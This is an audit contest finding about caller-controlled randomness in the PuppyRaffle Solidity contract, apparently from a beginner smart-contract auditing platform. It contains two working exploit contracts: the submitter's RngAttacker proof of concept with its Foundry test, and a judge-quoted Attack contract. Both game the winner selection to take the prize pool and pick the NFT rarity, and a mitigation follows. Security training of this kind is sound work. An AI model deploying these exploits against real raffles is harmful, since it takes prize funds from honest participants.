Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Caller-controlled randomness lets anyone choose the raffle winner and NFT rarity

thedelph

Summary

selectWinner is permissionless. It derives both the winner index and the NFT rarity from msg.sender, block.timestamp and block.difficulty, all of which the caller knows, or chooses, inside the calling transaction. An attacker contract can compute the result first and call selectWinner only in blocks where it wins. A losing block costs it nothing.

Description

src/PuppyRaffle.sol:128-129:

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

src/PuppyRaffle.sol:139:

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

  • msg.sender is chosen by the caller. A new contract, or a CREATE2 salt, gives a different seed.

  • block.timestamp and block.difficulty (PREVRANDAO after the Merge) are fixed within a block and readable by any contract executing in it.

  • selectWinner (:125) has no access control. A contract can compute winnerIndex itself and simply not call when the result is unfavourable.

  • The rarity seed doesn't include the timestamp at all, so a caller can grind addresses offline for a legendary roll (> 95).

Validators can additionally influence block.timestamp.

Risk

Likelihood: High — anyone can call selectWinner and choose msg.sender/timing; no special access.

Impact: High

Any participant can guarantee that they win 80% of the pot and pick the NFT rarity. This defeats the core purpose of the raffle and takes the prize from honest entrants. In the PoC the attacker holds 1 of 4 slots (a 25% fair chance), skips 2 losing blocks at zero cost, and wins 3.2 ETH and token #0.

Proof of Concept

test/PuppyRaffleAudit.t.sol::test_PoC_WeakRandomnessCallerPicksWinner

contract RngAttacker {
PuppyRaffle raffle;
constructor(PuppyRaffle _raffle) { raffle = _raffle; }
function enter() external payable {
address[] memory p = new address[](1); p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
}
function tryWin(uint256 numPlayers, uint256 mySlot) external returns (bool) {
uint256 idx = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % numPlayers;
if (idx != mySlot) return false; // losing block: do nothing
raffle.selectWinner(); // winning block: draw
return true;
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
​
function test_PoC_WeakRandomnessCallerPicksWinner() public {
_enter(1, 3);
RngAttacker attacker = new RngAttacker(puppyRaffle);
attacker.enter{value: entranceFee}(); // slot 3 of 4
vm.warp(block.timestamp + duration + 1);
​
uint256 attempts;
while (!attacker.tryWin(4, 3)) { attempts++; vm.warp(block.timestamp + 1); }
​
assertEq(puppyRaffle.previousWinner(), address(attacker));
assertEq(address(attacker).balance, 3.2 ether);
assertEq(puppyRaffle.ownerOf(0), address(attacker));
}

Run:

forge test --match-test test_PoC_WeakRandomnessCallerPicksWinner -vvv

The output is in poc.txt.

Recommended Mitigation

Use a verifiable randomness source such as Chainlink VRF, and derive both the winner and the rarity in the VRF callback. Don't use msg.sender or in-block values as entropy.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness (e.g. Chainlink VRF) here; pick winner and rarity in fulfillRandomWords(),
+ // using the VRF output only.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 40 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!